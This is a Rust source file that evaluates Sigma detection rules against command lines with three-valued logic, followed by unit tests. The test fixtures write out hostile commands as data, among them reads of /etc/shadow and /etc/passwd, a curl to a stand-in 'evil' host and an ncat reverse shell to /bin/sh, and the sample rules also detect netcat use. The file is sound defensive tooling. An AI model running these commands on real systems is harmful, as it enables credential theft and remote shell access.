opseclint 1.0.0

//! Sigma rule-logic evaluator.
//!
//! Evaluates a parsed command against a Sigma rule's actual
//! `detection:`/`condition:` logic, with three-valued (Kleene) logic:
//! `FIRES` / `NO-FIRE` / `INDETERMINATE`. The command is a *command line*, not a
//! full host event, so we synthesize the fields we can legitimately know
//! (`CommandLine`, `Image`, `OriginalFileName`); a rule keyed on a field we
//! cannot see (e.g. `ParentImage`, a hash, a registry value) evaluates to
//! `INDETERMINATE` rather than a false claim. See
//! `docs/design/rule-logic-evaluator.md`.

use std::collections::{HashMap, HashSet};

use serde::{Deserialize, Serialize};
use serde_yaml::Value;

use crate::kb::Platform;
use crate::parser::Command;

/// Fields opseclint can synthesize from a command line.
const SYNTH_FIELDS: &[&str] = &["CommandLine", "Image", "OriginalFileName"];

/// Kleene three-valued truth.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum Ternary {
    True,
    False,
    Unknown,
}

fn and_all<I: IntoIterator<Item = Ternary>>(it: I) -> Ternary {
    let mut unknown = false;
    for t in it {
        match t {
            Ternary::False => return Ternary::False,
            Ternary::Unknown => unknown = true,
            Ternary::True => {}
        }
    }
    if unknown {
        Ternary::Unknown
    } else {
        Ternary::True
    }
}

fn or_all<I: IntoIterator<Item = Ternary>>(it: I) -> Ternary {
    let mut unknown = false;
    for t in it {
        match t {
            Ternary::True => return Ternary::True,
            Ternary::Unknown => unknown = true,
            Ternary::False => {}
        }
    }
    if unknown {
        Ternary::Unknown
    } else {
        Ternary::False
    }
}

fn not_(t: Ternary) -> Ternary {
    match t {
        Ternary::True => Ternary::False,
        Ternary::False => Ternary::True,
        Ternary::Unknown => Ternary::Unknown,
    }
}

#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
enum Modifier {
    Contains,
    StartsWith,
    EndsWith,
    All,
}

/// A `field|mods: values` match. `supported` is false when the field carries a
/// modifier we don't implement yet (`re`, `cidr`, `base64`, …), which makes it
/// evaluate to `Unknown`.
#[derive(Debug, Clone, Serialize, Deserialize)]
struct FieldMatch {
    field: String,
    mods: Vec<Modifier>,
    values: Vec<String>,
    supported: bool,
}

#[derive(Debug, Clone, Serialize, Deserialize)]
enum Search {
    Fields(Vec<FieldMatch>),
    OneOfMaps(Vec<Vec<FieldMatch>>),
    Keywords(Vec<String>),
}

#[derive(Debug, Clone, Serialize, Deserialize)]
enum Cond {
    Id(String),
    And(Box<Cond>, Box<Cond>),
    Or(Box<Cond>, Box<Cond>),
    Not(Box<Cond>),
    /// `N of <pattern>` (`n = Some(k)`) or `all of <pattern>` (`n = None`).
    Quant {
        n: Option<usize>,
        pat: String,
    },
}

/// A parsed Sigma rule reduced to what the evaluator needs.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct DetectionRule {
    pub id: String,
    pub title: String,
    searches: HashMap<String, Search>,
    condition: Cond,
}

/// The verdict of evaluating a rule against a command.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Outcome {
    Fires,
    NoFire,
    Indeterminate,
}

#[derive(Debug, Clone)]
pub struct Verdict {
    pub outcome: Outcome,
    /// For `Indeterminate`: referenced fields opseclint cannot synthesize.
    pub missing_fields: Vec<String>,
}

// --- parsing ---------------------------------------------------------------

fn value_to_string(v: &Value) -> Option<String> {
    match v {
        Value::String(s) => Some(s.clone()),
        Value::Number(n) => Some(n.to_string()),
        Value::Bool(b) => Some(b.to_string()),
        _ => None,
    }
}

fn parse_field_match(key: &str, val: &Value) -> FieldMatch {
    let mut parts = key.split('|');
    let field = parts.next().unwrap_or("").to_string();
    let mut mods = Vec::new();
    let mut supported = true;
    for m in parts {
        match m {
            "contains" => mods.push(Modifier::Contains),
            "startswith" => mods.push(Modifier::StartsWith),
            "endswith" => mods.push(Modifier::EndsWith),
            "all" => mods.push(Modifier::All),
            _ => supported = false, // re, cidr, base64, windash, lt/gt, …
        }
    }
    let values: Vec<String> = match val {
        Value::Sequence(seq) => seq.iter().filter_map(value_to_string).collect(),
        other => value_to_string(other).into_iter().collect(),
    };
    if values.is_empty() {
        supported = false; // e.g. a `null` value (field-absent semantics)
    }
    FieldMatch {
        field,
        mods,
        values,
        supported,
    }
}

fn parse_fields_map(m: &serde_yaml::Mapping) -> Vec<FieldMatch> {
    m.iter()
        .filter_map(|(k, v)| k.as_str().map(|key| parse_field_match(key, v)))
        .collect()
}

fn parse_search(v: &Value) -> Option<Search> {
    match v {
        Value::Mapping(m) => Some(Search::Fields(parse_fields_map(m))),
        Value::Sequence(seq) => {
            if !seq.is_empty() && seq.iter().all(|x| x.is_mapping()) {
                let groups = seq
                    .iter()
                    .filter_map(|item| item.as_mapping().map(parse_fields_map))
                    .collect();
                Some(Search::OneOfMaps(groups))
            } else {
                Some(Search::Keywords(
                    seq.iter().filter_map(value_to_string).collect(),
                ))
            }
        }
        _ => None,
    }
}

/// Parse a Sigma rule (YAML text) into a [`DetectionRule`]. Returns `None` if
/// the rule has no usable `detection`/`condition` (it is then simply skipped by
/// callers rather than mis-evaluated).
pub fn parse_rule(yaml: &str) -> Option<DetectionRule> {
    let doc: Value = serde_yaml::from_str(yaml).ok()?;
    parse_rule_value(&doc)
}

/// Parse an already-deserialized Sigma rule document into a [`DetectionRule`].
pub fn parse_rule_value(doc: &Value) -> Option<DetectionRule> {
    let det = doc.get("detection")?.as_mapping()?;

    let mut searches = HashMap::new();
    let mut condition = None;
    for (k, v) in det {
        let key = k.as_str()?;
        if key == "condition" {
            condition = Some(parse_condition(v.as_str()?)?);
        } else if let Some(s) = parse_search(v) {
            searches.insert(key.to_string(), s);
        }
    }

    Some(DetectionRule {
        id: doc
            .get("id")
            .and_then(|v| v.as_str())
            .unwrap_or_default()
            .to_string(),
        title: doc
            .get("title")
            .and_then(|v| v.as_str())
            .unwrap_or_default()
            .to_string(),
        searches,
        condition: condition?,
    })
}

fn parse_condition(s: &str) -> Option<Cond> {
    let spaced = s.replace('(', " ( ").replace(')', " ) ");
    let toks: Vec<String> = spaced.split_whitespace().map(str::to_string).collect();
    let mut p = CondParser { toks, pos: 0 };
    let cond = p.parse_or()?;
    if p.pos == p.toks.len() {
        Some(cond)
    } else {
        None
    }
}

struct CondParser {
    toks: Vec<String>,
    pos: usize,
}

impl CondParser {
    fn peek(&self) -> Option<&str> {
        self.toks.get(self.pos).map(String::as_str)
    }
    fn next(&mut self) -> Option<String> {
        let t = self.toks.get(self.pos).cloned();
        if t.is_some() {
            self.pos += 1;
        }
        t
    }

    fn parse_or(&mut self) -> Option<Cond> {
        let mut left = self.parse_and()?;
        while self.peek() == Some("or") {
            self.next();
            let right = self.parse_and()?;
            left = Cond::Or(Box::new(left), Box::new(right));
        }
        Some(left)
    }

    fn parse_and(&mut self) -> Option<Cond> {
        let mut left = self.parse_not()?;
        while self.peek() == Some("and") {
            self.next();
            let right = self.parse_not()?;
            left = Cond::And(Box::new(left), Box::new(right));
        }
        Some(left)
    }

    fn parse_not(&mut self) -> Option<Cond> {
        if self.peek() == Some("not") {
            self.next();
            Some(Cond::Not(Box::new(self.parse_not()?)))
        } else {
            self.parse_primary()
        }
    }

    fn parse_primary(&mut self) -> Option<Cond> {
        match self.peek()? {
            "(" => {
                self.next();
                let inner = self.parse_or()?;
                if self.next().as_deref() != Some(")") {
                    return None;
                }
                Some(inner)
            }
            "all" => {
                self.next();
                self.parse_quant(None)
            }
            tok if tok.chars().all(|c| c.is_ascii_digit()) => {
                let n: usize = self.next()?.parse().ok()?;
                self.parse_quant(Some(n))
            }
            _ => Some(Cond::Id(self.next()?)),
        }
    }

    fn parse_quant(&mut self, n: Option<usize>) -> Option<Cond> {
        if self.next().as_deref() != Some("of") {
            return None;
        }
        let pat = self.next()?;
        Some(Cond::Quant { n, pat })
    }
}

// --- evaluation ------------------------------------------------------------

/// Simple glob matcher supporting `*` and `?` (inputs pre-lowercased).
fn glob_match(text: &str, pat: &str) -> bool {
    let t: Vec<char> = text.chars().collect();
    let p: Vec<char> = pat.chars().collect();
    let (mut i, mut j) = (0usize, 0usize);
    let (mut star, mut mark) = (None, 0usize);
    while i < t.len() {
        if j < p.len() && (p[j] == '?' || p[j] == t[i]) {
            i += 1;
            j += 1;
        } else if j < p.len() && p[j] == '*' {
            star = Some(j);
            mark = i;
            j += 1;
        } else if let Some(s) = star {
            j = s + 1;
            mark += 1;
            i = mark;
        } else {
            return false;
        }
    }
    while j < p.len() && p[j] == '*' {
        j += 1;
    }
    j == p.len()
}

fn synthesize(cmd: &Command, platform: Platform) -> HashMap<String, String> {
    let mut m = HashMap::new();
    m.insert("CommandLine".to_string(), cmd.raw.clone());
    let image = match platform {
        Platform::WindowsSysmon => format!("\\{}.exe", cmd.program),
        _ => format!("/{}", cmd.program),
    };
    m.insert("Image".to_string(), image);
    m.insert("OriginalFileName".to_string(), cmd.program.clone());
    m
}

fn eval_field(fm: &FieldMatch, event: &HashMap<String, String>) -> Ternary {
    if !fm.supported {
        return Ternary::Unknown;
    }
    let Some(raw) = event.get(&fm.field) else {
        return Ternary::Unknown;
    };
    let val = raw.to_lowercase();
    let hit = |needle: &str| {
        let n = needle.to_lowercase();
        if fm.mods.contains(&Modifier::Contains) {
            val.contains(&n)
        } else if fm.mods.contains(&Modifier::StartsWith) {
            val.starts_with(&n)
        } else if fm.mods.contains(&Modifier::EndsWith) {
            val.ends_with(&n)
        } else {
            glob_match(&val, &n)
        }
    };
    let matched = if fm.mods.contains(&Modifier::All) {
        fm.values.iter().all(|v| hit(v))
    } else {
        fm.values.iter().any(|v| hit(v))
    };
    if matched {
        Ternary::True
    } else {
        Ternary::False
    }
}

fn eval_search(s: &Search, event: &HashMap<String, String>) -> Ternary {
    match s {
        Search::Fields(fms) => and_all(fms.iter().map(|f| eval_field(f, event))),
        Search::OneOfMaps(groups) => or_all(
            groups
                .iter()
                .map(|g| and_all(g.iter().map(|f| eval_field(f, event)))),
        ),
        Search::Keywords(kws) => match event.get("CommandLine") {
            Some(cl) => {
                let cl = cl.to_lowercase();
                if kws.iter().any(|k| cl.contains(&k.to_lowercase())) {
                    Ternary::True
                } else {
                    Ternary::False
                }
            }
            None => Ternary::Unknown,
        },
    }
}

fn matching_ids<'a>(pat: &str, searches: &'a HashMap<String, Search>) -> Vec<&'a str> {
    if pat == "them" {
        searches.keys().map(String::as_str).collect()
    } else if let Some(prefix) = pat.strip_suffix('*') {
        searches
            .keys()
            .filter(|k| k.starts_with(prefix))
            .map(String::as_str)
            .collect()
    } else {
        searches
            .keys()
            .filter(|k| k.as_str() == pat)
            .map(String::as_str)
            .collect()
    }
}

fn eval_cond(
    cond: &Cond,
    searches: &HashMap<String, Search>,
    event: &HashMap<String, String>,
) -> Ternary {
    match cond {
        Cond::Id(name) => searches
            .get(name)
            .map(|s| eval_search(s, event))
            .unwrap_or(Ternary::Unknown),
        Cond::Not(c) => not_(eval_cond(c, searches, event)),
        Cond::And(a, b) => and_all([eval_cond(a, searches, event), eval_cond(b, searches, event)]),
        Cond::Or(a, b) => or_all([eval_cond(a, searches, event), eval_cond(b, searches, event)]),
        Cond::Quant { n, pat } => {
            let terns: Vec<Ternary> = matching_ids(pat, searches)
                .iter()
                .filter_map(|id| searches.get(*id))
                .map(|s| eval_search(s, event))
                .collect();
            match n {
                None => and_all(terns),
                Some(k) => {
                    let t = terns.iter().filter(|x| **x == Ternary::True).count();
                    let u = terns.iter().filter(|x| **x == Ternary::Unknown).count();
                    if t >= *k {
                        Ternary::True
                    } else if t + u >= *k {
                        Ternary::Unknown
                    } else {
                        Ternary::False
                    }
                }
            }
        }
    }
}

fn collect_fields(s: &Search, out: &mut HashSet<String>) {
    match s {
        Search::Fields(fms) => out.extend(fms.iter().map(|f| f.field.clone())),
        Search::OneOfMaps(groups) => {
            for g in groups {
                out.extend(g.iter().map(|f| f.field.clone()));
            }
        }
        Search::Keywords(_) => {
            out.insert("CommandLine".to_string());
        }
    }
}

fn referenced_fields(rule: &DetectionRule) -> HashSet<String> {
    let mut out = HashSet::new();
    for s in rule.searches.values() {
        collect_fields(s, &mut out);
    }
    out
}

/// Evaluate a rule against a command, returning a three-valued verdict.
pub fn evaluate(rule: &DetectionRule, cmd: &Command, platform: Platform) -> Verdict {
    let event = synthesize(cmd, platform);
    let outcome = match eval_cond(&rule.condition, &rule.searches, &event) {
        Ternary::True => Outcome::Fires,
        Ternary::False => Outcome::NoFire,
        Ternary::Unknown => Outcome::Indeterminate,
    };
    let missing_fields = if outcome == Outcome::Indeterminate {
        let mut m: Vec<String> = referenced_fields(rule)
            .into_iter()
            .filter(|f| !f.is_empty() && !SYNTH_FIELDS.contains(&f.as_str()))
            .collect();
        m.sort();
        m
    } else {
        Vec::new()
    };
    Verdict {
        outcome,
        missing_fields,
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::parser::parse_line;

    fn cmd(s: &str) -> Command {
        parse_line(s).into_iter().next().expect("a command")
    }

    fn verdict(yaml: &str, command: &str) -> Verdict {
        let rule = parse_rule(yaml).expect("rule parses");
        evaluate(&rule, &cmd(command), Platform::LinuxAuditd)
    }

    const SHADOW: &str = r#"
title: Shadow read
id: r1
detection:
    selection:
        CommandLine|contains: '/etc/shadow'
    condition: selection
"#;

    const PARENT: &str = r#"
title: Whoami under sshd
id: r2
detection:
    selection:
        ParentImage|endswith: '/sshd'
        CommandLine|contains: 'whoami'
    condition: selection
"#;

    const FILTER: &str = r#"
title: Curl not apt
id: r3
detection:
    selection:
        CommandLine|contains: 'curl'
    filter:
        CommandLine|contains: 'apt'
    condition: selection and not filter
"#;

    const ONEOF: &str = r#"
title: Netcat
id: r4
detection:
    selection_nc:
        CommandLine|contains: 'nc '
    selection_ncat:
        CommandLine|contains: 'ncat'
    condition: 1 of selection_*
"#;

    #[test]
    fn fires_on_direct_match() {
        assert_eq!(verdict(SHADOW, "cat /etc/shadow").outcome, Outcome::Fires);
    }

    #[test]
    fn indeterminate_when_field_unavailable() {
        let v = verdict(PARENT, "whoami");
        assert_eq!(v.outcome, Outcome::Indeterminate);
        assert!(v.missing_fields.iter().any(|f| f == "ParentImage"));
    }

    #[test]
    fn no_fire_when_filter_excludes() {
        assert_eq!(
            verdict(FILTER, "curl http://apt/x").outcome,
            Outcome::NoFire
        );
        // …but without the filter term it fires.
        assert_eq!(
            verdict(FILTER, "curl http://evil/x").outcome,
            Outcome::Fires
        );
    }

    #[test]
    fn one_of_pattern() {
        assert_eq!(
            verdict(ONEOF, "ncat -e /bin/sh 10.0.0.1 4444").outcome,
            Outcome::Fires
        );
        assert_eq!(verdict(ONEOF, "ls -la").outcome, Outcome::NoFire);
    }

    #[test]
    fn unsupported_modifier_is_indeterminate() {
        let yaml = "title: t\nid: r5\ndetection:\n    selection:\n        CommandLine|re: '.*shadow.*'\n    condition: selection\n";
        assert_eq!(
            verdict(yaml, "cat /etc/shadow").outcome,
            Outcome::Indeterminate
        );
    }

    #[test]
    fn wildcard_value_matches() {
        let yaml = "title: t\nid: r6\ndetection:\n    selection:\n        Image: '*/cat'\n    condition: selection\n";
        assert_eq!(verdict(yaml, "cat /etc/passwd").outcome, Outcome::Fires);
    }

    #[test]
    fn condition_parser_handles_parens_and_not() {
        let rule = parse_rule(FILTER).unwrap();
        // `selection and not filter` parsed into And(Id, Not(Id))
        assert!(matches!(rule.condition, Cond::And(_, _)));
    }
}